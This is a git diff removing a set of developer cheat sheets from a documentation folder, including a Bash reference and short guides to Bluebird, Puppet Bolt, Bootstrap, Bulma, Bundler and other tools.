-${variable%pattern}          # if the pattern matches the end of the variable's value, delete the shortest part that matches and return the rest
-${variable%%pattern}         # if the pattern matches the end of the variable's value, delete the longest part that matches and return the rest
-${variable/pattern/string}   # the longest match to pattern in variable is replaced by string. Only the first match is replaced
-${variable//pattern/string}  # the longest match to pattern in variable is replaced by string. All matches are replaced
-
-${#varname}                  # returns the length of the value of the variable as a character string
-
-*(patternlist)               # matches zero or more occurrences of the given patterns
-+(patternlist)               # matches one or more occurrences of the given patterns
-?(patternlist)               # matches zero or one occurrence of the given patterns
-@(patternlist)               # matches exactly one of the given patterns
-!(patternlist)               # matches anything except one of the given patterns
-
-$(UNIX command)              # command substitution: runs the command and returns standard output
-
-##############################################################################
-# FUNCTIONS
-##############################################################################
-
-# The function refers to passed arguments by position (as if they were positional parameters), that is, $1, $2, and so forth.
-# $@ is equal to "$1" "$2"... "$N", where N is the number of positional parameters. $# holds the number of positional parameters.
-
-function functname() {
-  shell commands
-}
-
-unset -f functname  # deletes a function definition
-declare -f          # displays all defined functions in your login session
-
-##############################################################################
-# FLOW CONTROLS
-##############################################################################
-
-statement1 && statement2  # and operator
-statement1 || statement2  # or operator
-
--a                        # and operator inside a test conditional expression
--o                        # or operator inside a test conditional expression
-
-# STRINGS
-
-str1 == str2               # str1 matches str2
-str1 != str2               # str1 does not match str2
-str1 < str2                # str1 is less than str2 (alphabetically)
-str1 > str2                # str1 is greater than str2 (alphabetically)
-str1 \> str2               # str1 is sorted after str2
-str1 \< str2               # str1 is sorted before str2
--n str1                    # str1 is not null (has length greater than 0)
--z str1                    # str1 is null (has length 0)
-
-# FILES
-
--a file                   # file exists or its compilation is successful
--d file                   # file exists and is a directory
--e file                   # file exists; same -a
--f file                   # file exists and is a regular file (i.e., not a directory or other special type of file)
--r file                   # you have read permission
--s file                   # file exists and is not empty
--w file                   # your have write permission
--x file                   # you have execute permission on file, or directory search permission if it is a directory
--N file                   # file was modified since it was last read
--O file                   # you own file
--G file                   # file's group ID matches yours (or one of yours, if you are in multiple groups)
-file1 -nt file2           # file1 is newer than file2
-file1 -ot file2           # file1 is older than file2
-
-# NUMBERS
-
--lt                       # less than
--le                       # less than or equal
--eq                       # equal
--ge                       # greater than or equal
--gt                       # greater than
--ne                       # not equal
-
-if condition
-then
-  statements
-[elif condition
-  then statements...]
-[else
-  statements]
-fi
-
-for x in {1..10}
-do
-  statements
-done
-
-for name [in list]
-do
-  statements that can use $name
-done
-
-for (( initialisation ; ending condition ; update ))
-do
-  statements...
-done
-
-case expression in
-  pattern1 )
-    statements ;;
-  pattern2 )
-    statements ;;
-esac
-
-select name [in list]
-do
-  statements that can use $name
-done
-
-while condition; do
-  statements
-done
-
-until condition; do
-  statements
-done
-
-##############################################################################
-# COMMAND-LINE PROCESSING CYCLE
-##############################################################################
-
-# The default order for command lookup is functions, followed by built-ins, with scripts and executables last.
-# There are three built-ins that you can use to override this order: `command`, `builtin` and `enable`.
-
-command  # removes alias and function lookup. Only built-ins and commands found in the search path are executed
-builtin  # looks up only built-in commands, ignoring functions and commands found in PATH
-enable   # enables and disables shell built-ins
-
-eval     # takes arguments and run them through the command-line processing steps all over again
-
-##############################################################################
-# INPUT/OUTPUT REDIRECTORS
-##############################################################################
-
-cmd1|cmd2  # pipe; takes standard output of cmd1 as standard input to cmd2
-< file     # takes standard input from file
-> file     # directs standard output to file
->> file    # directs standard output to file; append to file if it already exists
->|file     # forces standard output to file even if noclobber is set
-n>|file    # forces output to file from file descriptor n even if noclobber is set
-<> file    # uses file as both standard input and standard output
-n<>file    # uses file as both input and output for file descriptor n
-n>file     # directs file descriptor n to file
-n<file     # takes file descriptor n from file
-n>>file    # directs file description n to file; append to file if it already exists
-n>&        # duplicates standard output to file descriptor n
-n<&        # duplicates standard input from file descriptor n
-n>&m       # file descriptor n is made to be a copy of the output file descriptor
-n<&m       # file descriptor n is made to be a copy of the input file descriptor
-&>file     # directs standard output and standard error to file
-<&-        # closes the standard input
->&-        # closes the standard output
-n>&-       # closes the ouput from file descriptor n
-n<&-       # closes the input from file descripor n
-
-##############################################################################
-# PROCESS HANDLING
-##############################################################################
-
-# To suspend a job, type CTRL+Z while it is running. You can also suspend a job with CTRL+Y.
-# This is slightly different from CTRL+Z in that the process is only stopped when it attempts to read input from terminal.
-# Of course, to interrupt a job, type CTRL+C.
-
-myCommand &  # runs job in the background and prompts back the shell
-
-jobs         # lists all jobs (use with -l to see associated PID)
-
-fg           # brings a background job into the foreground
-fg %+        # brings most recently invoked background job
-fg %-        # brings second most recently invoked background job
-fg %N        # brings job number N
-fg %string   # brings job whose command begins with string
-fg %?string  # brings job whose command contains string
-
-kill -l               # returns a list of all signals on the system, by name and number
-kill PID              # terminates process with specified PID
-kill -s SIGKILL 4500  # sends a signal to force or terminate the process
-kill -15 913          # Ending PID 913 process with signal 15 (TERM)
-kill %1               # Where %1 is the number of job as read from 'jobs' command.
-
-ps           # prints a line of information about the current running login shell and any processes running under it
-ps -a        # selects all processes with a tty except session leaders
-
-trap cmd sig1 sig2  # executes a command when a signal is received by the script
-trap "" sig1 sig2   # ignores that signals
-trap - sig1 sig2    # resets the action taken when the signal is received to the default
-
-disown <PID|JID>    # removes the process from the list of jobs
-
-wait                # waits until all background jobs have finished
-
-##############################################################################
-# TIPS & TRICKS
-##############################################################################
-
-# set an alias
-cd; nano .bash_profile
-> alias gentlenode='ssh admin@gentlenode.com -p 3404'  # add your alias in .bash_profile
-
-# to quickly go to a specific directory
-cd; nano .bashrc
-> shopt -s cdable_vars
-> export websites="/Users/mac/Documents/websites"
-
-source .bashrc
-cd $websites
-
-##############################################################################
-# DEBUGGING SHELL PROGRAMS
-##############################################################################
-
-bash -n scriptname  # don't run commands; check for syntax errors only
-set -o noexec       # alternative (set option in script)
-
-bash -v scriptname  # echo commands before running them
-set -o verbose      # alternative (set option in script)
-
-bash -x scriptname  # echo commands after command-line processing
-set -o xtrace       # alternative (set option in script)
-
-trap 'echo $varname' EXIT  # useful when you want to print out the values of variables at the point that your script exits
-
-function errtrap {
-  es=$?
-  echo "ERROR line $1: Command exited with status $es."
-}
-
-trap 'errtrap $LINENO' ERR  # is run whenever a command in the surrounding script or function exits with non-zero status
-
-function dbgtrap {
-  echo "badvar is $badvar"
-}
-
-trap dbgtrap DEBUG  # causes the trap code to be executed before every statement in a function or script
-# ...section of code in which the problem occurs...
-trap - DEBUG  # turn off the DEBUG trap
-
-function returntrap {
-  echo "A return occurred"
-}
-
-trap returntrap RETURN  # is executed each time a shell function or a script executed with the . or source commands finishes executing
-
-##############################################################################
-# COLORS AND BACKGROUNDS
-##############################################################################
-
-# Reset
-Color_Off='\033[0m' # Text Reset
-
-# Regular Colors
-Black='\033[0;30m'  # Black
-Red='\033[0;31m'    # Red
-Green='\033[0;32m'  # Green
-Yellow='\033[0;33m' # Yellow
-Blue='\033[0;34m'   # Blue
-Purple='\033[0;35m' # Purple
-Cyan='\033[0;36m'   # Cyan
-White='\033[0;97m'  # White
-
-# Additional colors
-LGrey='\033[0;37m'  # Ligth Gray
-DGrey='\033[0;90m'  # Dark Gray
-LRed='\033[0;91m'   # Ligth Red
-LGreen='\033[0;92m' # Ligth Green
-LYellow='\033[0;93m'# Ligth Yellow
-LBlue='\033[0;94m'  # Ligth Blue
-LPurple='\033[0;95m'# Light Purple
-LCyan='\033[0;96m'  # Ligth Cyan
-
-# Bold
-BBlack='\033[1;30m' # Black
-BRed='\033[1;31m'   # Red
-BGreen='\033[1;32m' # Green
-BYellow='\033[1;33m'# Yellow
-BBlue='\033[1;34m'  # Blue
-BPurple='\033[1;35m'# Purple
-BCyan='\033[1;36m'  # Cyan
-BWhite='\033[1;37m' # White
-
-# Underline
-UBlack='\033[4;30m' # Black
-URed='\033[4;31m'   # Red
-UGreen='\033[4;32m' # Green
-UYellow='\033[4;33m'# Yellow
-UBlue='\033[4;34m'  # Blue
-UPurple='\033[4;35m'# Purple
-UCyan='\033[4;36m'  # Cyan
-UWhite='\033[4;37m' # White
-
-# Background
-On_Black='\033[40m' # Black
-On_Red='\033[41m'   # Red
-On_Green='\033[42m' # Green
-On_Yellow='\033[43m'# Yellow
-On_Blue='\033[44m'  # Blue
-On_Purple='\033[45m'# Purple
-On_Cyan='\033[46m'  # Cyan
-On_White='\033[47m' # White
-
-# Example of usage
-echo -e "${Green}This is GREEN text${Color_Off} and normal text"
-echo -e "${Red}${On_White}This is Red test on White background${Color_Off}"
-# option -e is mandatory, it enable interpretation of backslash escapes
-
-```
diff --git a/docs/content/cheat-sheets/bash-shortcuts-cheat-sheet.md b/docs/content/cheat-sheets/bash-shortcuts-cheat-sheet.md
deleted file mode 100644
index 7db9c29592..0000000000
--- a/docs/content/cheat-sheets/bash-shortcuts-cheat-sheet.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# Bash Shortcuts Cheat Sheet
-
--   Ctrl + C Terminate the command
--   Ctrl + Z Suspend the command
--   Ctrl + A Move to the start of the line
--   Ctrl + E Move to the end of the line
--   Ctrl + F Move forward one character
--   Ctrl + B Move backward one character
--   Ctrl + U Delete from the cursor to the start of the line
--   Ctrl + K Delete from the cursor to the end of the line
--   Ctrl + W Delete from the cursor to the start of the word
--   Ctrl + D Delete the character under the cursor
--   Ctrl + H Delete the character before the cursor
--   Ctrl + T Swap the character under the cursor with the previous one
--   Ctrl + L Clear the screen
diff --git a/docs/content/cheat-sheets/bash.md b/docs/content/cheat-sheets/bash.md
deleted file mode 100644
index 2269a4901f..0000000000
--- a/docs/content/cheat-sheets/bash.md
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To implement a for loop:
-
-for file in \*;
-do
-echo $file found;
-done
-
-# To implement a case command:
-
-case "$1"
-in 0) echo "zero found";; 1) echo "one found";; 2) echo "two found";;
-3\*) echo "something beginning with 3 found";;
-esac
-
-# To turn on debugging:
-
-set -x
-
-# To turn off debugging:
-
-set +x
-
-# Retrieve N-th piped command exit status:
-
-printf 'foo' | fgrep 'foo' | sed 's/foo/bar/'
-echo ${PIPESTATUS[0]} # replace 0 with N
-
-# To create a lockfile:
-
-( set -o noclobber; echo > my.lock ) || echo 'Failed to create lock file'
diff --git a/docs/content/cheat-sheets/bash_cheatsheet.md b/docs/content/cheat-sheets/bash_cheatsheet.md
deleted file mode 100644
index f8423e1404..0000000000
--- a/docs/content/cheat-sheets/bash_cheatsheet.md
+++ /dev/null
@@ -1 +0,0 @@
-# bash_cheatsheet
diff --git a/docs/content/cheat-sheets/binary-tree-1.md b/docs/content/cheat-sheets/binary-tree-1.md
deleted file mode 100644
index 5cb54bb64a..0000000000
--- a/docs/content/cheat-sheets/binary-tree-1.md
+++ /dev/null
@@ -1 +0,0 @@
-# Binary Tree
diff --git a/docs/content/cheat-sheets/binary-tree.md b/docs/content/cheat-sheets/binary-tree.md
deleted file mode 100644
index b4fa594f98..0000000000
--- a/docs/content/cheat-sheets/binary-tree.md
+++ /dev/null
@@ -1,71 +0,0 @@
-# Binary Tree
-
-## Tree Nodes
-
-```js
-class TreeNode {
-    constructor(val) {
-        this.val = val;
-        this.left = null;
-        this.right = null;
-    }
-}
-```
-
-## Tree Traversal
-
-## BFS
-
-implement a queue
-
-## DFS
-
-implement a stack
-
-### Pre-order
-
-node,l. subtree, r. subtree
-
-### In-order
-
-l.subtree, node, r.subtreethe left subtree contains values less than the root
-
-### Post-order
-
-l.subtree, r.subtree, node
-
-BST Definition
-
-1. l. subtree contains values < root
-2. r. subtree contains values >= to the root
-3. l. & r. subtree are BST
-
-insert: log(n) search: log(n)
-
-## Example of DFS using a adjacency list with itera
-
--   Using a node implementation with iteration:
-
-```js
-// This is easy to swap to a breadth-first approach by using a queue instead of a stack!
-// Instead of popping from the top, we can shift from the front
-function depthFirstIter(node) {
-    let visited = new Set();
-    let stack = [node];
-
-    while (stack.length) {
-        let node = stack.pop();
-
-        // if this node has already been visited, then skip this node
-        if (visited.has(node.val)) continue;
-
-        // otherwise it hasn't yet been visited,
-        // so print it's val and mark it as visited.
-        console.log(node.val);
-        visited.add(node.val);
-
-        // then add its neighbors to the stack to be explored
-        stack.push(...node.neighbors);
-    }
-}
-```
diff --git a/docs/content/cheat-sheets/bluebird.md b/docs/content/cheat-sheets/bluebird.md
deleted file mode 100644
index 0a6d688d36..0000000000
--- a/docs/content/cheat-sheets/bluebird.md
+++ /dev/null
@@ -1,183 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: bluebird.js
-category: JavaScript libraries
-
-weight: -1
-
----
-
-### Also see
-
-Also see the [promise cheatsheet](promise.html) and [Bluebird.js API](https://github.com/petkaantonov/bluebird/blob/master/API.md) (github.com).
-
-### Example
-
-```js
-promise
-  .then(okFn, errFn)
-  .spread(okFn, errFn)        // *
-  .catch(errFn)
-  .catch(TypeError, errFn)    // *
-  .finally(fn)
-  .map(function (e) { ··· })  // *
-  .each(function (e) { ··· }) // *
-```
-
-Those marked with `*` are non-standard Promise API that only work with Bluebird promises.
-
-### Multiple return values
-
-```js
-.then(function () {
-  return [ 'abc', 'def' ]
-})
-.spread(function (abc, def) {
-  ···
-})
-```
-
-{: data-line="4"}
-
-Use [Promise.spread](http://bluebirdjs.com/docs/api/promise.spread.html)
-
-### Multiple promises
-
-```js
-Promise.join(
-  getPictures(),
-  getMessages(),
-  getTweets(),
-  function (pics, msgs, tweets) {
-    return ···
-  }
-)
-```
-
-{: data-line="1"}
-
-Use [Promise.join](http://bluebirdjs.com/docs/api/promise.join.html)
-
-### Multiple promises (array)
-
--   [Promise.all](http://bluebirdjs.com/docs/api/promise.all.html)([p]) - expect all to pass
--   [Promise.some](http://bluebirdjs.com/docs/api/promise.some.html)([p], count) - expect `count` to pass
--   [Promise.any](http://bluebirdjs.com/docs/api/promise.any.html)([p]) - same as `some([p], 1)`
--   [Promise.race](http://bluebirdjs.com/docs/api/promise.race.html)([p], count) - use `.any` instead
--   [Promise.map](http://bluebirdjs.com/docs/api/promise.map.html)([p], fn, options) - supports concurrency
-
-```js
-Promise.all([promise1, promise2]).then((results) => {
-    results[0];
-    results[1];
-});
-
-// succeeds if one succeeds first
-Promise.any(promises).then((results) => {});
-```
-
-{: data-line="1,8"}
-
-```js
-Promise.map(urls, url => fetch(url))
-  .then(···)
-```
-
-{: data-line="1"}
-
-Use [Promise.map](http://bluebirdjs.com/docs/api/promise.map.html) to "promisify" a list of values.
-
-### Object
-
-```js
-Promise.props({
-    photos: get('photos'),
-    posts: get('posts')
-}).then((res) => {
-    res.photos;
-    res.posts;
-});
-```
-
-{: data-line="1"}
-
-Use [Promise.props](http://bluebirdjs.com/docs/api/promise.props.html).
-
-### Chain of promises
-
----
-
-```js
-
-
-function getPhotos() {
-  return Promise.try(() => {
-    if (err) throw new Error("boo")
-    return result
-  })
-}
-
-getPhotos().then(···)
-```
-
-{: data-line="2"}
-
-Use [Promise.try](http://bluebirdjs.com/docs/api/promise.try.html).
-
-### Node-style functions
-
-```js
-var readFile = Promise.promisify(fs.readFile);
-var fs = Promise.promisifyAll(require('fs'));
-```
-
-{: data-line="2"}
-
-See [Promisification](http://bluebirdjs.com/docs/api/promisification.html).
-
-### Promise-returning methods
-
-```js
-User.login = Promise.method((email, password) => {
-    if (!valid) throw new Error('Email not valid');
-
-    return; /* promise */
-});
-```
-
-{: data-line="1"}
-
-See [Promise.method](http://bluebirdjs.com/docs/api/promise.method.html).
-
-### Generators
-
-```js
-User.login = Promise.coroutine(function* (email, password) {
-    let user = yield User.find({ email: email }).fetch();
-    return user;
-});
-```
-
-{: data-line="1"}
-
-See [Promise.coroutine](http://bluebirdjs.com/docs/api/promise.coroutine.html).
-
-## Reference
-
-<http://bluebirdjs.com/docs/api-reference.html>
diff --git a/docs/content/cheat-sheets/bolt.md b/docs/content/cheat-sheets/bolt.md
deleted file mode 100644
index a081026131..0000000000
--- a/docs/content/cheat-sheets/bolt.md
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-find . -name "_" -type f | xargs sed -i -e '/lucywyman/d'
-find . -name "_" -type f | xargs sed -i -e '/- keyword/d'
-find . -name "_" -type f | xargs sed -i -e '/- Puppe/d'
-find . -name "_" -type f | xargs sed -i -e '/- keywor/d'
-find . -name "_" -type f | xargs sed -i -e '/updated:/d'
-find . -name "_" -type f | xargs sed -i -e '/updated:/d'
-
-title: Bolt Quickstart
-category: Bolt
-
-authors:
-
--   github: lucywyman
--   keywor
--   Puppe
--   modules
-    description: |
-    A quick guide to getting started writing Bolt tasks
-
----
-
-### Install Bolt
-
-```bash
-# On MacOS
-brew cask install puppetlabs/puppet/puppet-bolt
-# On Windows
-choco install puppet-bolt
-```
-
-Bolt is available as a package for most platforms. See [installing bolt](https://puppet.com/docs/bolt/latest/bolt_installing.html)
-
-### Create a module with a task
-
-```bash
-mkdir -p ~/.puppetlabs/bolt/modules/mymodule/tasks
-cp myscript.sh ~/.puppetlabs/bolt/modules/mymodule/tasks/
-```
-
-Tasks can be written in any language your targets can run. See [writing tasks](https://puppet.com/docs/bolt/latest/writing_tasks.html) for more details.
-
-### Run Bolt
-
-```bash
-bolt task run mymodule::myscript -n node1.example.com,node2.example.com --private-key ~/.ssh/id_rsa-private
-```
-
-See `bolt task run --help` for more information and command line options.
diff --git a/docs/content/cheat-sheets/bookshelf.md b/docs/content/cheat-sheets/bookshelf.md
deleted file mode 100644
index f61e8d9472..0000000000
--- a/docs/content/cheat-sheets/bookshelf.md
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Bookshelf.js
-category: JavaScript libraries
-
----
-
-## Model
-
-```js
-Summary = bookshelf.Model.extend({
-    tableName: 'summaries',
-    hasTimestamps: true,
-    hasTimestamps: ['created_at', 'updated_at']
-});
-```
-
-### Associations
-
-```js
-Summary = bookshelf.Model.extend({
-    book() {
-        return this.belongsTo(Book);
-    },
-    author() {
-        return this.hasOne(Author);
-    }
-    // belongsToMany
-    // hasMany
-    // hasMany().through()
-});
-```
-
-### CRUD
-
-```js
-Book.create({ title: '..' }).save()
-new Book({ title: '..' }).save()
-
-new Book({ id: 1 }).fetch()
-
-Book.where({ id: 1 }).fetch()
-Book.where('favorite_color', 'red').fetch()
-Book.where('favorite_color', '<>', 'red').fetch()
-Book
-  .query((q) => q.orderBy('updated_at')
-```
diff --git a/docs/content/cheat-sheets/bootstrap.md b/docs/content/cheat-sheets/bootstrap.md
deleted file mode 100644
index adcee87bbf..0000000000
--- a/docs/content/cheat-sheets/bootstrap.md
+++ /dev/null
@@ -1,143 +0,0 @@
-# Bootstrap
-
-#### Screen sizes
-
-```
-         768          992                1200
-'     '     '     '     '     '     '     '     '
-<---------^------------^------------------^--------->
-     xs         sm              md             lg
-   (phone)   (tablet)        (laptop)       (desktop)
-```
-
-Min:
-
-```scss
-@media (min-width: @screen-sm-min) // >= 768px (small tablet) @media (min-width: @screen-md-min) // >= 992px (medium laptop) @media (min-width: @screen-lg-min); // >= 1200px (large desktop)
-```
-
-Max:
-
-```scss
-@media (max-width: @screen-xs-max) { // < 768px (xsmall phone)
-@media (max-width: @screen-sm-max) { // < 992px (small tablet)
-@media (max-width: @screen-md-max) { // < 1200px (medium laptop)
-```
-
-#### Columns
-
-```scss
-.container
-.container-fluid
-```
-
-```scss
-.col-xs-1
-.col-sm-1
-.col-md-1
-.col-lg-1
-.col-md-offset-1
-```
-
-Mixins:
-
-```scss
-@include make-xs-column(12);
-@include make-sm-column(6);
-@include make-md-column(3);
-@include make-lg-column(3);
-```
-
-```scss
-@include make-sm-column-offset(1);
-@include make-sm-column-push(1);
-@include make-sm-column-pull(1);
-```
-
-#### Utilities
-
-```scss
-.pull-left
-.pull-right
-```
-
-```scss
-.hidden-{xs,sm,md,lg}
-.visible-{xs,sm,md,lg}
-.visible-{xs,sm,md,lg,print}-{block,inline,inline-block}
-```
-
-```scss
-.center-block  /* margin: auto */
-.clearfix
-.text-{center,left,right,justify,nowrap}
-.text-{lowercase,uppercase,capitalize}
-```
-
-```scss
-.show
-.hidden
-```
-
-#### Modal
-
-```html
-<a data-toggle="modal" data-target="#new"></a>
-```
-
-```haml
-#new.modal.fade(role='dialog')
-  .modal-dialog // .modal-lg, .modal-sm
-    .modal-content
-      .modal-header
-        %h4.modal-title hello
-        %button.close{type: 'button', data: { dismiss: 'modal' }}
-          %span{'aria-hidden' => true}!= "&times;"
-          %span.sr-only Close
-      .modal-body
-        ...
-      .modal-footer
-        ...
-```
-
-#### Modal via ajax (Rails)
-
-```haml
-%button.btn{data: { |
-  toggle: 'modal', |
-  target: '#chooseTheme', |
-  remote: '/path/to/remote'}
-  Change Theme
-```
-
-```haml
-.modal.fade#chooseTheme
-  .modal-dialog.modal-xl
-    .modal-content
-      .modal-header
-        %h4.modal-title Choose a theme
-
-      .modal-body
-        .spinner-panel.-lg
-          %i
-```
-
-#### Tooltip
-
-```html
-<span data-toggle="tooltip" title="tooltip" data-placement="left|top|bottom|right"></span>
-```
-
-```js
-$(function () {
-    $('[data-toogle~="tooltip"]').tooltip();
-});
-```
-
-#### Input groups
-
-```haml
-.input-group
-    input.form-control(type='text')
-    .input-group-addon years
-```
diff --git a/docs/content/cheat-sheets/bower.md b/docs/content/cheat-sheets/bower.md
deleted file mode 100644
index e510dd7a47..0000000000
--- a/docs/content/cheat-sheets/bower.md
+++ /dev/null
@@ -1,37 +0,0 @@
-## tags: [packaging]
-
-# To install a package:
-
-bower install <package>
-
-# To install a package from github:
-
-bower install <user>/<repo>
-
-# To install a specific package locally:
-
-bower install <package>#<version>
-
-# To install a package locally and save installed package into bower.json:
-
-bower install <package> --save
-
-# To retrieve info of a particular package:
-
-bower info <package>
-
-# To list local packages:
-
-bower list
-
-# To search for a package by name:
-
-bower search <package>
-
-# To update a package to their newest version:
-
-bower update <package>
-
-# To remove a local package:
-
-bower uninstall <package>
diff --git a/docs/content/cheat-sheets/browserify.md b/docs/content/cheat-sheets/browserify.md
deleted file mode 100644
index f51a190cf1..0000000000
--- a/docs/content/cheat-sheets/browserify.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Browserify
-category: JavaScript libraries
-
----
-
-    browserify input.js
-      -o output.js
-      -t coffeeify
-      -t [ coffeeify --extension coffee ]
-
-      -u react (--exclude: omit a file)
-      -x react (--external: reference in another bundle)
-      -i react (--ignore: stub a file)
-      -s Myapp (--standalone: generate a UMD bundle)
-      --debug
-
-### Programmatic usage
-
-    browserify = require('browserify')
-    browserify()
-      .add('main.js')
-      .bundle()
-      .transform(coffeeify)
-      .transform({extensions: '.coffee'}, coffeeify)
-      .pipe(process.stdout)
-
-    browserify({})
-
-### Tools
-
--   watchify (recompiles on demand)
--   beefy (http server)
--   debowerify
--   es6ify (es6 to es5)
-
-Transforms
-
--   coffeeify
--   ractify
--   reactify
--   brfs
--   cssify
--   https://github.com/substack/node-browserify/wiki/list-of-transforms
diff --git a/docs/content/cheat-sheets/bug_report.md b/docs/content/cheat-sheets/bug_report.md
deleted file mode 100644
index f44de2f593..0000000000
--- a/docs/content/cheat-sheets/bug_report.md
+++ /dev/null
@@ -1,40 +0,0 @@
----
-name: Bug report
-about: Create a report to help us improve
-title: ''
-labels: ''
-assignees: ''
----
-
-**Describe the bug**
-A clear and concise description of what the bug is.
-
-**To Reproduce**
-Steps to reproduce the behavior:
-
-1. Go to '...'
-2. Click on '....'
-3. Scroll down to '....'
-4. See error
-
-**Expected behavior**
-A clear and concise description of what you expected to happen.
-
-**Screenshots**
-If applicable, add screenshots to help explain your problem.
-
-**Desktop (please complete the following information):**
-
--   OS: [e.g. iOS]
--   Browser [e.g. chrome, safari]
--   Version [e.g. 22]
-
-**Smartphone (please complete the following information):**
-
--   Device: [e.g. iPhone6]
--   OS: [e.g. iOS8.1]
--   Browser [e.g. stock browser, safari]
--   Version [e.g. 22]
-
-**Additional context**
-Add any other context about the problem here.
diff --git a/docs/content/cheat-sheets/bulma.md b/docs/content/cheat-sheets/bulma.md
deleted file mode 100644
index fdd9b22825..0000000000
--- a/docs/content/cheat-sheets/bulma.md
+++ /dev/null
@@ -1,127 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Bulma
-category: CSS
-
-prism_languages: [css, html]
-weight: -1
-authors:
-
--   github: benolot
-    description: |
-    Basic guide on how to use Bulma, the lightweight css flexbox framework.
-
----
-
-### Screen sizes
-
-```
-         768         1024                1216         1408
-'     '     '     '     '     '     '     '     '     '     '     '
-<---------^------------^------------------^-------------^------------->
-  mobile      tablet         desktop         widescreen      fullhd
-```
-
-### Columns
-
-```css
-.container
-```
-
-Wrap as many `.column`'s' as you like in a `.columns` wrapper
-
-```html
-<div class="columns">
-    <div class="column"></div>
-    <div class="column"></div>
-    <div class="column"></div>
-    <div class="column"></div>
-    <div class="column"></div>
-</div>
-```
-
-### Modifiers
-
-The following CSS classes affect the **colour**.
-
-```css
-.is-primary .is-link .is-info .is-success .is-warning .is-danger;
-```
-
-The following classes modify the **size**.
-
-```css
-.is-small .is-medium .is-large;
-```
-
-The following classes modify the **state**.
-
-```scss
-.is-outlined
-.is-loading
-```
-
-### Typography Helpers
-
-The following classes modify the **font-size**
-
-| Class        | Font-size |
-| ------------ | --------- |
-| `.is-size-1` | 3rem      |
-| `.is-size-2` | 2.5rem    |
-| `.is-size-3` | 2rem      |
-| `.is-size-4` | 1.5rem    |
-| `.is-size-5` | 1.25rem   |
-| `.is-size-6` | 1rem      |
-| `.is-size-7` | 0.75rem   |
-
-The following classes **align** the text
-
-| Class                 | Alignment                             |
-| --------------------- | ------------------------------------- |
-| `.has-text-centered`  | Makes the text **centered**           |
-| `.has-text-justified` | Makes the text **justified**          |
-| `.has-text-left`.     | Makes the text align to the **left**  |
-| `.has-text-right`     | Makes the text align to the **right** |
-
-The following classes **transform** the text
-
-| Class             | Transformation                                                   |
-| ----------------- | ---------------------------------------------------------------- |
-| `.is-capitalized` | Transforms the **first character** of each word to **uppercase** |
-| `.is-lowercase`   | Transforms **all** characters to **lowercase**                   |
-| `.is-uppercase`   | Transforms **all** characters to **uppercase**                   |
-
-### WYSIWYG Content
-
-```html
-<div class="content">
-    <!-- start WYSIWYG contents -->
-    <h1>Heading</h1>
-    <p>Paragraph</p>
-
-    <ul>
-        <li>Item 1</li>
-        <li>Item 2</li>
-    </ul>
-    <!-- end WYSIWYG contents -->
-</div>
-```
-
-To provide default stylings for commonly generated WYSIWYG contents, use the `.content` class.
diff --git a/docs/content/cheat-sheets/bundler.md b/docs/content/cheat-sheets/bundler.md
deleted file mode 100644
index 63190a857e..0000000000
--- a/docs/content/cheat-sheets/bundler.md
+++ /dev/null
@@ -1,75 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Bundler
-category: Ruby
-
----
-
-### Commands
-
-    bundle                  # same as bundle install
-    bundle install          # installs gems
-    bundle install -j3      # faster (3 jobs)
-    bundle update           # update all gems
-    bundle update --source gemname  # update specified gem
-
-    bundle outdated         # show outdated gems
-    cd `bundle show rails`  # inspect a gem's dir
-
-    bundle gem              # new gem skeleton
-
-### Gems
-
-    gem 'hello'
-    gem 'hello', group: 'development'
-
-### Github support
-
-    gem 'hello', github: 'rstacruz/hello'
-    gem 'hello', github: 'rstacruz/hello', 'branch: master'
-
-### Grouping
-
-    group :development do
-      gem 'hello'
-    end
-
-### Deployment
-
-    $ bundle install --without=test,development --deployment
-
-### Local gem development
-
-In your Gemfile, define a Git source and a branch:
-
-    gem 'hello', github: 'rstacruz/hello', branch: 'master'
-
-And then:
-
-    $ bundle config --global local.xxx ~/projects/xxx
-
-### Rake Gem tasks
-
-    # Rakefile
-    require 'bundler/gem_tasks'
-
-Terminal:
-
-    $ rake release
-    $ rake build
diff --git a/docs/content/cheat-sheets/c_preprocessor.md b/docs/content/cheat-sheets/c_preprocessor.md
deleted file mode 100644
index 7d6c3c557d..0000000000
--- a/docs/content/cheat-sheets/c_preprocessor.md
+++ /dev/null
